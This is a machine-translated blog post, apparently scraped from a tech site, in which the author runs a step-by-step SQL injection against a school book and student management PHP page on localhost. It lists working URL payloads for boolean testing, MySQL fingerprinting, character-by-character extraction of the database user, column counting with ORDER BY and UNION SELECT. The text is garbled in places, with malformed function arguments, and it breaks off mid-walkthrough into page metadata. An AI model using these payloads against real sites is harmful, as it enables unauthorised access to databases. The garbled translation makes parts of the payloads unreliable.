The school's external teacher wrote the program, book + Student management system, filename 001.php,002.php,003.php ... (b) The question is how many lines in 004.php I forgot,
">" width= "136" height= "181" >Title:
Note that the phrase ">,ts_id without any filtering, naked and so we abuse, hoo~ (although I know all the information about the database, but here I still want a black box test)
Let ' S go~
Http://localhost/zhd/004.php?ts_id=1 and 1=1 Normal
Http://localhost/zhd/004.php?ts_id=1 and 1=2 exceptions
Idiot inject
To determine the database:
Submit Http://localhost/zhd/004.php?ts_id=1/*fenggou
Normal return, description database support/* Comment, what database support/*? Mysql!
Read user name:
Submit Http://localhost/zhd/004.php?ts_id=1 and Ord (Mid (User (), 1, 1)) =114/*
Normal return, user () is the MySQL built-in function to view the user, here is the first character to view the user name, yes, 114 is the "R" in Accsll, I am the root connection, so the statement is true (this trick to teach me drop) but if the user name is RIJNC, I am not deceived? So in the commit
Http://localhost/zhd/004.php?ts_id=1 and Ord (Mid (User (), =111/*)) O
Http://localhost/zhd/004.php?ts_id=1 and Ord (Mid (User (), =111/*)) O
Http://localhost/zhd/004.php?ts_id=1 and Ord (Mid (User (), +)) =116/* T
But if the password is ROOTRIJNC, then I have no words ...
To determine the number of fields:
Submit Http://localhost/zhd/004.php?ts_id=1 ORDER BY 10/*
Failure, the description of the number of fields less than 10, has been tried to 7 statement, altogether is 7 fields, for our future joint query brought great convenience, there is a small trick, first 5, in 10, in 15, in turn a little narrow range
Federated query:
Know the number of fields submitted directly http://localhost/zhd/004.php?ts_id=1 Union select 1,2,3,4,5,6,7/*
Normal return, explain support union, change the statement, with and 1=2 let him show error, hehe ~ ~ ~
Submit Http://localhost/zhd/004.php?ts_id=1 and 1=2 Union select 1,2,3,4,5,6,7/*
http://www.bkjia.com/PHPjc/629814.html www.bkjia.com true http://www.bkjia.com/PHPjc/629814.html techarticle The school's external teacher wrote the program, book + Student management system, filename 001.php,002.php,003.php ... (b) The question is how many lines in 004.php I also forgot that TD width=118 row ...
